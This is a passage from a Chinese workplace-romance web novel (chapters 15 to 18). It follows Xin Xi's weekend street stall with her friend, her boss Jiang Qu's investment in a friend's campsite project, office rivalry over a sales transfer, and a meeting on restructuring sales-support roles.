只是那小女孩明明盯着小老虎看了很久,但她妈妈在旁边一直低头玩手机,催促着得早些下山,最后就给匆匆拿了个大多数女孩会喜欢的小兔子。
辛熙有些心疼那个小女孩。
被迫从众的偏好,是付出同等的成本,却只能得到一个勉强的欢喜。
或许,还会被问:不是买了你最喜欢的小兔子了吗?还不开心?真是个很难讨好的孩子。
15. 第 15 章
“领导,过来玩儿啊。”
林早的声音过于热情,这让原本背对着整理货物的辛熙完全没做任何心理建设地回过头,再一次见到了姜渠。
真TM的有缘啊,辛熙在心底骂了一句脏话。话没出口,就羞愧地红脸了。
姜渠看了眼她俩的小摊,借着地势,支起青色的不锈钢置物架,一张田园风格的四方巾作底色,将货物依次铺陈展开,和小孩子目光等高的位置是一排排摇头晃脑的醒目的弹簧玩偶。
“据我所知,麦高在业内的薪资待遇算不错的了。”至于周末摆地摊吗?
可那也分人分岗位的好吗?辛熙在心底腹诽,嘴上却答:“是呢,我好多同学都很羡慕我能进麦高。”
当然,如果能再多给点,他们肯定会更羡慕的!
“所以你这是......丰富业余生活?”
林早以为姜渠是不能接受下属在外兼职,立马帮着解释,“领导,您别误会,摊子是我的,熙熙姐就是来帮我忙的。”
“是么?”
辛熙点头确认。摊子的确是林早的,至少其中一大半是。
也不知道信没信,姜渠的目光重新落回满目琳琅的摊子上,表情有些为难。
他想要出于人文关怀的目的照顾下她俩的生意,可左右挑选,没有一样是合适的。
要不......都买了?会不会好傻?像到处撒钱的暴发户!
辛熙见他似乎是认真地在挑选,脑子快速地转弯,这可是千载难逢的做人情的机会啊,还是做给自己的顶头上司。
辛熙默默给自己打气:老天给的机会,得抓住。
小脸堆起笑,殷切问:“姜总,您看您喜欢哪个,我送你啊。”
姜渠颇为奇怪地看了她一眼,甚至生出戒备心。
“这个怎么样?”
摇头晃脑的玩偶,“太幼稚了。”
都是小朋友的玩具,当然幼稚咯,辛熙并不气馁,“那这个呢?”
“黄色晃眼睛。”
“要不这个,绿色的,很适合您,还可以解压哦,像这样,使劲儿捏,随便揉搓,手一放,它就弹回原样了。”
姜渠接过来,捏了捏,却又丢还给她,“手感不好。”
真是不好讨好!辛熙有些泄气。
徐进接完电话回来,就看见姜渠半蹲在一个小摊上挑三拣四,以为这山上藏着高人卖些稀罕货,走近一看,得,义务小商品。
“你背着我有孩子了?”不然干嘛买这些小玩意儿。
殊不知,他的话一出,立马引起了周围人的无限遐想,连在一旁招呼生意的林早,都递了个稀奇眼过来。
唯恐天下不乱,也是有钱闲的。
姜渠索性陪他演,“是。所以这些,你给我孩子买回去吧。”
“都要?”
“都要!我孩子多。”
“得嘞,你的孩子就是我的孩子”,徐进立马掏出手机,“美女,算算多少钱,都给我包起来。”
暴发户的嘴脸,可不就有人上赶着要显摆出来嘛。
今天是辛熙和林早第一天摆摊,备的货并不多,齐齐整整地装了两大袋,刚好够姜渠和徐进一人抗一袋。
徐进勾着一双桃花眼,即便昨晚刚一度春宵,见到好看的,仍不忘留几分春情,“美女们,我们买这么多,不考虑送货上门的吗?”
“帅哥,就您这阔气劲儿,肯定是开车来的吧?我还想请您顺道捎我俩一段儿呢。这边交通不便,我俩今早转了三趟地铁公交,还走了半小时才到这儿的。”
林早以退为进,你可以拒绝捎上我俩,但你总不好,再让我俩抗着货挤公交给你送了吧。
谁料,徐进一口答应,“行啊,那咱们一起下山,人多热闹。”
反正来时车上也就他和姜渠俩人,将近两个小时的车程,也实在无聊。再说,作为怜香惜玉的绅士,怎么可能拒绝漂亮女士同车的请求呢。
徐进完全忽略掉姜渠的冷眼,甚至想说:你这样没有风度,花花世界是很难有你的一席之地的。
“那倒也不......”
“那可谢谢您了嘞”,林早赶紧揪住辛熙的胳膊,朝她使眼色,有顺风车干嘛不坐。
林早为了表示感谢,甚至热情地上前几步,和徐进并排走,两个人一左一右地抬着那一包玩具,这就让身后的辛熙显得有些不懂事了。
可辛熙哪能不懂事啊,跟上姜渠,问:“姜总,要不我帮您......”
“不用。”
辛熙的懂事被拒之门外。
但她懂事地决定再接再厉,“待会儿把我们送到山门口就行,那儿有公交车。”
“你是对所有人都这么别扭的吗?”姜渠的话被一阵春风轻飘飘地带过来。略冷,略刺耳。
客气疏离,甚至到不通人情世故的地步,若是不小心占了他人的丁点好处,都会被放大成不容赦免的罪过。
辛熙装没听见,但这句话却在脑中循环播放,好像是什么卑劣的人性,快要昭彰。
车子最终还是将他们送回了市区,老旧的楼房,拥挤的街巷,没有秩序的路边摊,以及下水道口早就凝干的厚油渍。
徐进看了眼一上车就装睡的姜渠,也没理他,朝窗外的二人打招呼,“微信记得通过,有空一起玩啊。”
“好的呀”,林早朝他挥挥手,“开车注意安全。”
一路同车,姜渠睡觉,辛熙沉默,只剩个徐进和林早,侃天侃地地胡侃,俨然已经是熟悉的朋友。
徐进打了转向灯,姜渠这才睁开眼,看着外面的街景,冷幽幽地说了一句,“微信删掉,她们不适合陪你玩儿。”
“你说哪一个?”
“两个!”
“凭什么啊”,徐进早看出来他不对劲儿了,继续逗他,“我可从来不删姑娘微信。再说,人姑娘挺热情的啊。”
“客套,看不懂?”
徐进才不管什么客套不客套呢,他向来只会顺着自己的喜恶去理解别人的出发点。
姜渠抱臂,侧眼看他,上下唇起合,吐出一句,“她俩是我司员工及亲属。”
“我草”,徐进惊得骂出了脏话,急转靠边停车,拿出手机赶紧删掉已经通过的好友,“我还以为你看上那个话少的了呢。兄弟还想着帮你一把。”
“不过,你们麦高这么抠的吗?员工周末还得出来摆摊讨生活。”
姜渠并没回答,而是问:“你这项目的资金,出什么问题了?”
徐进发动车子,车上接的那几个电话都公放着,也没想隐瞒,只不过依然那副万事不愁不上心的模样,“一个资方不讲道义,招呼不打一声就撤了。我一合伙人呢,太讲道义,上一个项目的前期资金刚回笼,都没捂热,赶紧扔里面了。”
“还差多少?”
“不多,要不行,我就把滨海湾那套别墅卖了”,反正怎么着都能把事情解决了。
徐进虽然并没有表现出任何担忧,但姜渠知道,事情没他嘴上说的那么容易,不然他昨晚也不会匆匆赴了另一场酒局。
“那算我一个。刚好海外那几笔基金最近办了赎回,这两天会到账。”
徐进并不意外他会帮忙,但还是拒
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绝,“哥们可不是故意卖穷啊。我这只是暂时周转不顺,哥们可不缺钱,不接受同情。我知道你对吃喝玩乐的项目不感兴趣。”
他俩从小到大的兴趣爱好都大相径庭,至于怎么玩到一起,并坚持了十几年的屹立不倒,只能说,命运是个玄学。
姜渠直言:“你是不值得被同情,但我不跟钱过不去。那地方有天然的地理优势,这两年露营也算是热门项,有得做。”
徐进心里感动,他知道姜渠不是钻营热点的投资人,这么说无非是让自己接受得坦然些,也不再推辞,“得嘞,刚好,我也不跟钱过不去。”
两个人心照不宣地笑了。
“不过,后面那两袋子玩具怎么处理?”两个人家里都没小孩子的。
“你拿回去,送你那些女朋友?”
“你想看我和这些玩具一起被扔到大街上吗?”
“嗯......影响市容了,我说的是你。”
姜渠在导航里搜出市孤儿院的地址,字正腔圆的声音传来:已为您重新规划路线。
辛熙陪着林早把摆摊的家伙什送到家中,夏淑芬做好了饭,招呼着一起吃,推辞的话在想到姜渠的那句“别扭”后,应承下来。
夏淑芬十分高兴,“叫了你那么多次来家里吃饭,你都不肯。我还以为,你这是嫌弃我们家里小了。”
辛熙着急地解释,“没有,没有,我只是......觉得受不起。”
“几顿饭有什么受不起的。你帮了我们那么多,早早的工作,还有早儿爸的大病补贴,我们还不知道要怎么感谢你呢。”
“阿姨,早早的工作是她凭自己本事争取来的。叔叔的这个补贴,本来也是你们应得的,我实在也没帮上什么忙。”
夏淑芬拉过辛熙的手,“我问过辜经理了,她说原本我们这种外包的岗是不能享受麦高的那些个福利的,是你一遍遍给工会写邮件,帮我们争取来的。你爸妈该是多么好的人啊,能把你教养得这么好的。长得也好,性格也好,又在大企业当白领......”
辛熙如坐针毡。
她实在觉得夏淑芬对自己的评价有些言过其实了。
辛熙很心虚。在她自己的评价体系里,她觉得自己至多是个......不坏的人。
林早搁好东西走出来,将夏淑芬拉开,“妈,你再这么感激下去,熙熙姐该要吓跑咯。”
“你这孩子,快,带熙熙去洗个手,准备吃饭了。”
“我爸呢?”
“不管他。上午偷偷喝酒被我发现,说了他两句,正闹脾气呢。”
“他又喝酒?”林早怒火攻心,立马拔高了音量,朝卧室的方向吼去,“身体不要是不是?当初是谁在医院里哭着求着让医生救命的。现在身体刚好点,就又折腾起来了,还想进去是不是!”
林大荣尚未完全恢复,说话还有些吃力,咬字带着喘音,不清不楚地,但外面的三个人还是听明白了,他说的是,“死了算了,省得遭你们娘儿俩嫌弃。辛苦大半辈子,临了还要被自己孩子教训,越活越没意思了,命苦啊。”
“是你命苦还是我们命苦?”
林早架起势,想要冲进屋里和林大荣理论,被夏淑芬拉住,“别理他,先陪你熙熙姐吃饭。”
可林早毕竟才刚二十出头,情绪哪有那么容易收放自如,气性一来就不管不顾地了,“妈,你就惯着他吧,咱家这日子都过成啥样了,要不是他......”
“好了!”夏淑芬高声阻止,“别让熙熙看笑话了。”
辛熙哪里敢当笑话看,她现在只恨没有地缝可以钻。
16. 第 16 章
夏淑芬辛苦张罗的一顿饭,辛熙还是没能吃上。
辛熙觉得抱歉。
林早冲出了令她觉得窒息的家,父亲生病,母亲力弱,而自己......呵呵......也不算个好东西。
“别这么说,早早,你已经很好了”,辛熙追着她跑了出来,“很多人都不一定能有你做的这么好。”
“其实,我爸以前也不是这样的。他很爱我的,我知道。自己省吃俭用地给我买新裙子,在工地上起早贪黑地抬钢筋做苦力,压得肩头和后背上全是血印子,但他一句抱怨都没有,每天笑呵呵的。”
“叔叔真厉害”,辛熙打心里眼儿佩服那时的林大荣。
“可他为什么变了?变得......暴躁、自私、甚至......阴晴不定。”
“他只是病了,早早。人在生病的时候,有些情绪是无法自控的,但这不是他的错,当然,你也没有错,你只是太关心他了,叔叔肯定也知道的。”
道理其实都懂,辛熙并不愿意说教,当然,她也不认为自己有资格说教,但她希望林早能尽可能早地走出阴霾地,毕竟生活已经在拔苗助长了。
“人都是靠希望来麻痹被生活碾压时的痛觉的,林叔叔只是暂时失去了这种安慰剂。”
“是吧。你知道的,我只希望他开心一些。能够......能够陪我和妈妈再久一点。”
“会的。”
路边的脏摊儿传来一阵一阵的诱人香气,几张小方桌摆在人行道上,三三两两的人在喝酒撸串。
辛熙提议,“要不,咱也来点?”
酒精不也是成年人的安慰剂嘛。
“你说烧烤还是喝酒啊?”
“都啊,成年人不做选择”,辛熙转移话题,“正好,咱也来给咱们的小生意做个复盘。”
所为复盘,不过是算一下成本以及盈利,两个人都是第一次摆摊,一通算下来,居然还能有几百块钱的盈利。
高兴是高兴的,但她们都很清醒地知道,今天这么顺利,得多亏了姜渠和徐进,而这种情况,有一不能有二。
“我今天看到有些人在放风筝,那地方地势平坦,又聚风,挺适合放风筝的,要不,咱们下周,也卖?”
“行,还可以加点小零食、饮料什么的。货源交给我,等我休息日,我去批发市场进。”
林早在食福居的工作是上一休一的,时间相对充裕,关键她还从夏淑芬那里耳濡目染了一身砍价的本事,基本都能砍得对方心服口服地打对折。
手机滴滴两声,辛熙收到一笔转账,点开一看,问:“早早,你干嘛转钱给我?”
“这是今天的盈利啊,咱俩对半分。”
辛熙立马点了拒收,“你都留着,扩大经营也要成本不是,咱们的目标可是做大做强啊。”
一个小摊,倒让人生出大刀阔斧大干一场的壮志。
坦然接受别人的善意也是一种感恩、知趣,林早知道她是想要帮自己,欣然接受,“也成,那等本钱回来了,再一起算。”
“不急不急。”
辛熙忽然想起在车上听徐进说要在栖云山做个露营基地,“也不知道对翡翠湖这边有没有影响。”
“真要搞起来了,来玩的人肯定更多吧,是好事呀。”
“人流量是能上去,但肯定也会为了规范管理,限制小摊贩的。”
“那大不了,咱们再换地儿就是了。”
反正摆摊也是灵活的,在哪儿摆不是摆呢,辛熙认为林早说得对。
一杯啤酒下肚,辛熙忽然觉得好笑,“咱们刚才,是在担心人家上亿的项目会影响到咱的小摊吗?”
也未免有些自不量力了。
两个人捧腹大笑。
“将来,咱们也要干上亿的项目。”
“干!把咱的地摊儿干成全国连锁。”
“......的地摊?”
“哈哈,出息了,出息了,咱地摊儿都是连锁的了。”
邻桌的人朝她们这边瞟了好几眼,大概是在想:这俩人真没见识,白日梦都不会做,都搞成全国连锁了,还是个小地摊。
林早突然莫名其妙地问了一句,“熙熙姐,你领导那朋友,靠谱不?”
“怎么了?”
“没什么,忽然想到了。”
“不知道哇,我也第一次见。”
“那你领导人怎么样?都说物以类聚,人以群分,看你领导什么样,他朋友肯定差不太多了。”
辛熙并不确定自己了解他。
该如何评价呢?辛熙认真地想了想。
第一次见面,是在折多山上,大雪天,前方突遇严重车祸,双向车道都被堵死,辛熙坐在大巴车上,等得有些着急。
就见几名男女从窗外经过,步履匆匆。领头的男人身姿挺拔,眉眼冷峭,发梢和衣肩都被薄雪覆盖。他一边往下走一边取下手表装在外衣兜里。
骨节被黑色的毛衣衬出一种冷白调,辛熙莫名地一阵心悸,她怀疑自己有了高原反应。于是走下车,试图在纷飞的大雪里寻找一丝喘息的机会。
车祸的现场离她所乘的旅游大巴并不远,更何况,她站在高处。现场的惨烈,令她至今不敢回想。
同行的人受了姜渠的示意,开始动员其他车里的人帮忙。
辛熙自告奋勇,“我参加过红十字会的应急救护培训。”
她确实参加过,成绩也还不错,但她并没有真正地付诸于实践里,要放平日,她肯定会认为自己过于冒失了。
她并没有勇气去承担别人的人生,更何况,涉及生死,但在当时,她只想着,或许自己是可以帮上什么忙的,能帮一点也是好的。
姜渠只淡淡地看了她一眼,就开始指挥着她和其他的人,一些去寻找固定物对伤者进行制动,一些去将可以挪动的伤患移到平坦处,一些则负责止血和外伤包扎。
他极具领导力,几乎所有人都在自动地听他安排指挥,而他,也确确实实为患者赢得了黄金救援时间。
在将一个患者抬出变形的车厢时,上方突然有落石急滚下来,辛熙正按压着伤者的出血口,躲避不及,是姜渠眼疾手快地替她挡开,落石锋利的锐角将他的手臂划出了一道又深又长的血口子。
所以,辛熙认为:“他应该不是个坏人。”
至少当时他救了她,后来也没有不管她。
救护车和消防队的很快赶来,在群众的帮助下,将所有伤者送到了医院救治。
路也慢慢被交警疏通,等辛熙忙完,想要回到大巴车上时,她已经找不到车子了。
大巴车司机在山路上被堵得有些急躁,路通了以后,又被后车的喇叭狂催着,就粗心大意地没有点清人头数就顺着车流开走了。
而辛熙的行李、证件、手机和钱,全都在大巴车上。
也不知哪根筋搭错,她跳过了向消防员和交警求助,转而选择了找到那个男人,问他,能不能载她到县城里去。
或许姜渠也是哪根筋搭错了,居然也没有直接将她丢给消防员或交警。
她就这样,坐上了陌生男人的车,在那座大雪纷飞,人烟稀少的高原雪山上,带着初生牛犊的莽撞。
林早点了点头,她希望徐进也能是个好人。
“熙熙姐,我好像忽然能理解我爸为什么那么爱喝酒了。我现在感觉好舒服啊,轻飘飘地,好像什么烦恼都没有了......好像我拥有了全世界?不对,不对,是好像我不怕失去全世界了。”
林早真的醉了。
人怎么能不怕失去呢?
辛熙也醉了。
她忽然觉得自己豪气干云,拿出手机,在通讯里找到那个人,编辑了一大段发自肺腑的话。那真的是一段非常非常昂贵的记忆,以至于她至今都舍不得与任何其他人分享。
姜渠,你到底知不知道!我.....
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.我好可恶啊!居然在这时候最想你!太没用了!
丢脸的话在发送之前,被一通电话拦截。或许是父女连心,辛爸的电话来得十分及时。
辛熙于悬崖处勒了马。
一听见爸爸的声音,辛熙立马生出些委屈来,声音嗡嗡地,话带哭腔,“爸爸,我也好爱你和妈妈,你们知道吗?”
“都多大的孩子,还哭鼻子,不怕别人看见笑话嘛。”
“笑话我干嘛啊,除非他们没有爸爸妈妈。爸爸,爸爸,你和妈妈都知道我爱你们吗?知道吗?”辛熙非要得到一句确认。
电话那头传来辛妈夺手机的声音,低声斥了辛爸一句,“妹妹都哭了,你还心情笑话。赶紧问问看,是不是在外面被人欺负了。”
辛熙听见了,赶紧说:“妈妈,我没有受欺负。”
自己的女儿自己清楚,辛妈心疼地说:“妹妹啊,有什么委屈跟爸爸妈妈说,要是不想在京北待了,就回来。在爸爸妈妈身边,总没人敢欺负你的。”
“知道了,妈妈。但我在这里真的挺好的,房东阿姨很好,早早很好,夏阿姨也很好,同事和领导也都挺好的。”
辛爸的声音离手机有点距离,但辛熙还是听见他对辛妈说,“你问了也白问,你女儿看谁都是好人。”
“那还不是因为像你!”辛妈打断了辛爸的话,又对辛熙说:“妹妹啊,在京北遇到什么问题,就去找姐姐哦。你们姐妹俩在外面是要互相照顾的,知道吗?”
“知道。”
辛爸辛妈又再叮嘱了很多,辛熙在确认爸爸妈妈知道自己爱他们后才舍得挂了电话。
辛熙觉得自己好幸运啊,她拥有全天下最好的爸爸妈妈,幸运到她可以接受自己在感情和事业路上的受挫。
没什么大不了的!
新的一周,何耀丹正式转岗到销售部。除了一封内部的通知邮件,这种转岗其实并没有任何实际的形式。
辛熙在食堂碰到了高桥。
偌大的公司他俩从未巧遇过,很明显,高桥是专门来找她的。
作为同一场竞争里的落败选手,他认为他俩的战线是统一的。
“听说是你们姜总专门去找向总要的人?”
“是么?”辛熙装不知道,“耀丹那么优秀,老板们抢着要人也不稀奇的吧。”
“麦高的谁不优秀?”高桥的语气里大有些不服气在,“我倒是无所谓,反正过几个月,我也会到销售部门轮岗。去不去,不过是早和晚的问题。”
“是吗?那我提前欢迎你来。”
“就你这情商啊”,高桥颇有些轻蔑的语气,“近水楼台的都捞不到月亮。但凡你能搞定你们姜总,何至于连个销售岗都转不了呢。”
辛熙有些生气了,“大家都是公平竞争的,我为什么要去搞定姜总。而且,现在这个结果,我认为很公平很合理。”
“孺子不可教,你以为何耀丹凭的真本事?”
酸臭味道!高桥留给辛熙的第一印象彻底碎了,至少在这之前,辛熙是认可他所呈现出来的那种精英人士的表相的。
“高桥,你到底想说什么?我人笨,请你,直接一点。”
辛熙不明白他为什么要来找自己说这些。
高桥划开手机,给辛熙展示了几张照片。他说他见过几次何耀丹上了姜渠的车,并且姜渠带着她去过商场,耐心地为她挑选衣服,“等你见到何耀丹就知道,我说的是事实了。”
“什么事实?高桥,如果你真的有证据证明你刚才暗示的事情,你应该直接向公司举报,而不是告诉我。”
“我举报什么,我反正早晚会轮岗到销售部的,何必为了这次机会得罪老大。公司又不会因为这么一件事情,换了他。”
辛熙终于明白过来,他这是在试图煽动自己去做这个出头鸟。
是我看着很傻吗?辛熙想,大概在高桥的心中,自己就是只没有情商的傻鸟吧。
17. 第 17 章
只不过,这只傻鸟今天没有多少容人的肚量了。
辛熙抬起手,朝不远处大声喊了一句,“姜总,您来吃饭啦。”
姜渠眉心一凝,有些意外,同身边的人打了个招呼,朝他们走过来。
高桥气急败坏,但已来不及阻止。
姜渠走到他们面前,带着专属上位者体恤下属时的那种,可以用“慈祥”来形容的笑容,问:“在聊什么呢。”
高桥只能硬着头皮答:“没什么,刚巧碰见就闲聊了几句。”
“是吗?”姜渠看向辛熙,他较辛熙高出不少,目光轻易就将她的躲闪攫住。
辛熙回他,“高桥在帮我做职业规划。”
“同事间互相帮助而已”,高桥有些心虚发汗。
“是嘛,那很好啊,都教了什么?”姜渠问。
辛熙做得一脸的真诚模样,说:“他教我,要先搞定你。”
得,真是个傻的,告个状都当着当事人的面告。姜渠眉峰一扬,脸上的笑容依然不减,似乎颇有兴趣,“哦?是么?”
高桥此刻恨不能要将辛熙生吞活剥了,但在那之前,他需要先让自己从姜渠的手里逃脱,赶紧解释:“辛熙对我的话理解有误。我的意思,只是希望她能够努力工作,多为姜总排忧解难。”
辛熙不得不再一次心生佩服,只不过这种佩服是带着鄙夷和不耻的,“希望你真的是这个意思。”
高桥气极,抬高音量,“辛熙,你什么意思!”
辛熙下意识地往后移了半步,这让高桥的怒气不得不首先迎向比他高半头的姜渠,气焰瞬间就收敛下来,“咱好歹是一个公司的同事,你没必要在老板面前这么曲解我的意思吧。”
辛熙瞪着双眼,看向被他紧捏着手机。真想抢过来翻给姜渠看啊:他还偷拍您呢。
但她没有这么做。
已经有零星的目光被吸引过来,事情再往下翻扯,就过了,她原本也只是想要给高桥一个警告。
姜渠大概懂了。
手上带了点力,拍了拍高桥的肩,“管培生确实比其他团队更有主人翁意识啊,我会跟你们老板张章说的,谢谢你对我部门员工的关心和指点。”
“没有,没有,姜总......是我多嘴了。”
高桥点头哈腰的样子,让辛熙意识到,让人累的从来不是工作本身,而是工作中遇到的这些复杂的人和人际关系。
姜渠不再理会,转头问辛熙,“吃好了吗?吃好了就回去工作。下午的会,你协助施琪,做好调整。”
辛熙看着自己刚吃了没两口的午饭,也没胃口再继续,“好了,好了,这就回去。”
和姜渠一起来食堂的是产品部的老大曾容,也是位技术大拿。
和向良才带领的交付团队不同,产品部整体在公司的存在感并不高,当然,这并不是因为他们不重要,而是在曾容的领导下,整个产品部都是自扫门前雪、不闻窗外风。
曾容对于姜渠的邀约,是有些排斥的,她讨厌任何形式的拉帮结派。
更何况,姜渠初出茅庐,很难不让人认为他有些急功近利了。
“抱歉,曾总,耽误了一下,我们刚说到哪儿了?”姜渠重新坐到曾容的面前。
曾容看着走远的辛熙,没有直接回答,而是问:“谁啊?”
“团队里的小朋友,打个招呼”,姜渠轻描淡写。
曾容并未再对此表示出关心,“姜总,你要做变革,恐怕真要实操起来,会过于理想化。我依然持悲观的看法。”
姜渠却不这么认为,“事实上,医疗领域的反腐并不是这两年新起的一阵风。2006年刑法修正案就已经将医药购销领域的行贿受贿纳入了刑罚。只不过池子大,水太深,短时间内很难做到激浊扬清。”
曾容微点头,倒也认可,“看今年A股上那些医疗企业的财报没?”
“当然。以大庆医疗为首的本土企业,不少家在过去一年的营销支出占营业收入的比例已经超过了50%。”
“简直讽刺。”
畸形的竞争环境,医疗企业不想着研发出更好的产品、提高自身的服务质量,一心钻营着怎么讨好院方,输送利益,就只会将这一池的水,越搅越浑。
“所以,我们的转型已经势在必行了。”
曾容放下碗筷,郑重地看着姜渠,“可我不明白,销售部门的改革,姜总需要我们产品部做什么?”
“医疗器械是个高度专业化的领域,技术壁垒高,我们的销售如果没有过硬的专业知识储备,是很难在应对客户的时候做出最优解。所以,我想请你们、以及交付团队的专家,在销售打单的时候,能够机动配合。”
“你是想要我们也走到前线去?”
“在有必要的时候”,姜渠补充,“go to gemba,只有到现场去,才能真正了解客户痛点和真实需求。”
曾容下意识的想要拒绝,“我想你已经找过老向了,而他拒绝了你。”
姜渠不以为意,往椅背上一靠,“所以,我现在已经有了交付团队最优秀的专家。”
胆大、能做事,但狂傲,这是曾容此刻对姜渠最深的印象。
“难怪你选择今天来找我”,曾容轻笑,倒是小看了这年轻人,“如果我不同意,姜总又打算挖我的哪一名悍将?”
同样的手段,姜渠并不想用在曾容身上,她是真真实实想做事情的人。
食堂里的同事来来往往,偶尔有认出他俩的,匆匆打了个招呼就躲一边去了。
“曾总,您作为产品部的GM年薪应该不低,但您为什么会选择来普通食堂用餐?”
曾容被戳中心思,但面上还是波澜无惊,“不过是一顿饭,裹腹而已。姜总是顿顿都得爆参翅肚?”
姜渠并不介意她的讥讽,毕竟是自己先冒犯的,“据我所知,您的先生年前被公司优化,而您的两个孩子都会在今年参加高考,您是想送他们出国留学,是吗?”
曾容那张沉稳的脸上开始有了怒色,“姜总是不是有些越界了!”
“抱歉,我并非有意打探,只是您去咨询的那家留学中介刚好是我一朋友开的”,姜渠语气诚恳,“我说这个也并非是要取笑您。您为您家庭所做出的努力,令我十分佩服。我想我可以帮您。”
辛熙回到办公室,又再看了下施琪发出来的会议邀请,这个会议只邀请了各区的销售支持,应该是要针对卢湘上周梳理的工作内容,做权责划分。
销售支持的工作真总结到一块儿,其实没多少实质内容,大多都可以用宽泛的词语“协助、配合、收集、整理”来一
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笔概括。
产出的价值不明显,是辛熙工作一年后面临的最大困局。
她试图破局,但铩羽而归。
何耀丹从走廊前经过,抱着她的办公用品。
除了经理及以上级别的,销售本来都是没有固定工位的,他们每回来公司,都是看哪里空着坐哪里,找不到就钻会议室里去。
但姜渠给何耀丹安排了一个工位,位置离姜渠的办公室很近。
她是特别的,辛熙有了这样的意识。
高桥那些暗示性地话开始在心里隐隐作祟。
辛熙在何耀丹经过自己时忍不住多看了两眼,似乎确实和之前有些不一样。
她开始收拾打扮了!
辛熙赶紧低下头,好像自己发现了什么石破天惊的大秘密。
她讨厌发现秘密,这意味着,自己莫名其妙地和当事者困在了一个局里。这种忐忑的感觉一直延续到她坐进会议室。
这个会议室里只有卢湘、辛熙、施琪三人,其余的同事都是线上参加。
施琪和姜渠有一样高效的雷厉作风,她在会前就根据卢湘提交的内容分出了三个版块。会议一开始,她就让线上线下的十位支持专员们,根据自己的经验逐一补充、调整,第一项进行了不到半小时就完成了。
“这一部分日常的信息收集、更新,我们会和数据组那边联系,将功能模块添加到移动工作台上去,这样以后就让销售在手机或ipad上录入信息,我们只需要从后台导出数据。”
“太好了”,西区的两位同事隔着声屏幕都能感受到雀跃。
叶眉迫不及待地问:“那什么时候可以完成迁移哇?”
“项目周期预计要四个月,我们下的deadline是8月底,所以在这之前,大家得再辛苦一下。”
teams的聊天窗口,刷出一连串的:收到。
“那么第二项,就是关于销售同事和支持专员的职责划分。我们今天讨论好后,姜总会在下一次的销售大会上和全国销售同步。这段时间,你们也可以先和自己区的销售,陆续沟通,咱们这个会后就可以开始执行了。”
“直接执行的话,会让销售以为咱们是在假传圣旨的,好伐啦”,东区的同事一口吴语软调。
“没关系,谁有疑问就直接让他问他老板去”,施琪十分果决,“还有其他问题吗?”
等了几秒,无人应答,遂翻到下一页,“那接下来说一下咱们这块的工作调整。姜总和我都希望能帮助大家更好地完成职业角色转化。当然可能有同事就是更喜欢执行性的工作,有些同事呢,觉得维持现状也挺好,大家的个人意愿我们也都尊重。我们开放这些选择,只是希望你们每个人都能去尝试找到最适合自己的路。”
叶眉依然是最活跃的那个,直言不讳:“施琪姐,那如果我们选择做业务模块的支持,会不会加工资,有奖励提成什么的?”
施琪虽然看不到她的表情,但见卢湘和辛熙用同样期待的眼神看着自己,也能猜到,“知道大家最关心的就是这个,咱们上班嘛,不为赚钱,难道真是为了给资本家的傻儿子买游艇买别墅的嘛。”
辛熙和卢湘,小鸡啄米似的点头赞同。
话虽然这么说,施琪略有停顿,“但......很抱歉,暂时没有。”
18. 第 18 章
施琪为此往人事部门跑了很多次,但都无法说动他们调整薪酬方案。
原因很简单,部门内部的分工调整,对于公司来说并不会增加实际的业务收入,那也就根本不会有人愿意为此多花成本。
不加工资,也没有奖金拿,但需要为此多做一份工作多担一份责,这在所有人看来都不值得做。包括辛熙。
“那么,有谁对业务感兴趣,想要尝试的吗?”
会议室里鸦雀无声,音频通话里也各个静音。
施琪静静地等待,并没有打算说服任何人。
入了职场,每个人都是以成年人的身份参与进来,就得做好自己事业的第一责任人。选择哪条路都值得被尊重,只要最后甘心为自己的选择买单。
并没有人回答。
施琪只能将目光落到卢湘和辛熙身上。
晾着上司并不合宜,卢湘赶紧回应,“我是有兴趣的,但做业务肯定得跟着到处跑,熬更守夜的,我怕我身体受不了,最近都还一直在吃中药调理。”但新老板上任后的第一个动作就无人支持,肯定不太好,卢湘碰了碰辛熙,“你去啊,你不是想转岗做销售嘛,这个机会正好。”
辛熙拿不定主意。
“有兴趣吗?”施琪真诚地发问,“我的建议是:在年轻的时候不要考虑太多,只用想这个机会是否和自己的职业规划方向一致,能不能帮助你完成职业提升。”
辛熙有些跃跃欲试。
“线上的其他小伙伴也是一样啊,我给大家半小时想想。刚好,我下楼帮姜总拿个外卖。”
“姜总,还没吃午饭吗?”卢湘十分关心。
“他能有一顿饭按时吃,我就谢天谢地了。”
施琪对此已经无能为力。
取回外卖,拿给姜渠后,施琪干脆在姜渠的办公室里磨蹭。
“你的会开完了?”
“没有”,施琪给自己泛干的双眼滴了两滴眼药水,才又说:“你的改革计划,将因为只想让马儿跑但不给马儿吃草,而胎死腹中。”
“没人愿意?”
“谁能愿意!”施琪到现在都颇有微词,“麦高的这些大老板们是不是太抠了。把你请回来,却连点调薪的权利都不放。”
姜渠活动了下略显僵硬的脖颈,走到茶几边上,打开外卖盒,将飘在上面的香菜一一拨出去,才开始动筷。
施琪“咦~”一声,“我忘了备注不要香菜了吗?”倒没有因此表现出半点愧疚。
“他们不是不肯放权,是想要先看到成果。做业务的,一切拿数据说话。”
“精于算计的资本家。”施琪早就见识过各种资本家的嘴脸,但依然无法与之共情。
看看时间差不多了,施琪拿起放在桌上的咖啡,准备离开。
“那些一起拿去”,姜渠指了指搁在旁边的甜点和三明治。
“你不吃吗?”施琪有些不解,“那你干嘛让我买?”
“给你们开会的下午茶。”
“哟喂,你倒是很适应国内的这些职场文化嘛,懂得收买人心咯,姜总。”
施琪贫了两句嘴。
这头会议室里,大家七嘴八舌地讨论了好多。没有施琪在,他们自然是放开了的聊。
“让我们去跟着参加招投标,跑流程、做服务,谁做得来的哦。”
“做也不是做不来,但这做了,业绩都是销售的,他们倒是轻松了,也不分咱两块钱的。”
“是啊,姜总怎么想的,跑业务有销售不就够了嘛。”
“刚施琪姐不是说了嘛,姜总想做改革。之前的销售模式过于依赖客情关系,姜总想做技术和服务的提升,就要组建更为专业的团队。”
“听起来,其实蛮不错的也。也算给了我们机会去接触核心业务。”
“你们年轻人可以去试试咯,我是不行了,不想折腾了。”
“听说交付团队的何工转岗到北区了,这个新型的业务团队估计会交给她来lead吧?”
“卢湘、辛熙,你们知道吗?”
卢湘翻了个白眼,继续刷着手机,装没听见。
辛熙答:“是转岗过来了,但还没有听说工作上的安排。”
叶眉给辛熙发来私聊窗口:我其实还挺想试试这个新岗位的,虽然累点,但应该能学到不少东西。
辛熙:是的呀!而且能跟着交付团队和产品部一起去给客户提案,肯定能为客户打磨出真正有价值的产品方案。
叶眉:想想就很好啊,只是为什么不能多给咱一点钱啊,打工人太苦了。
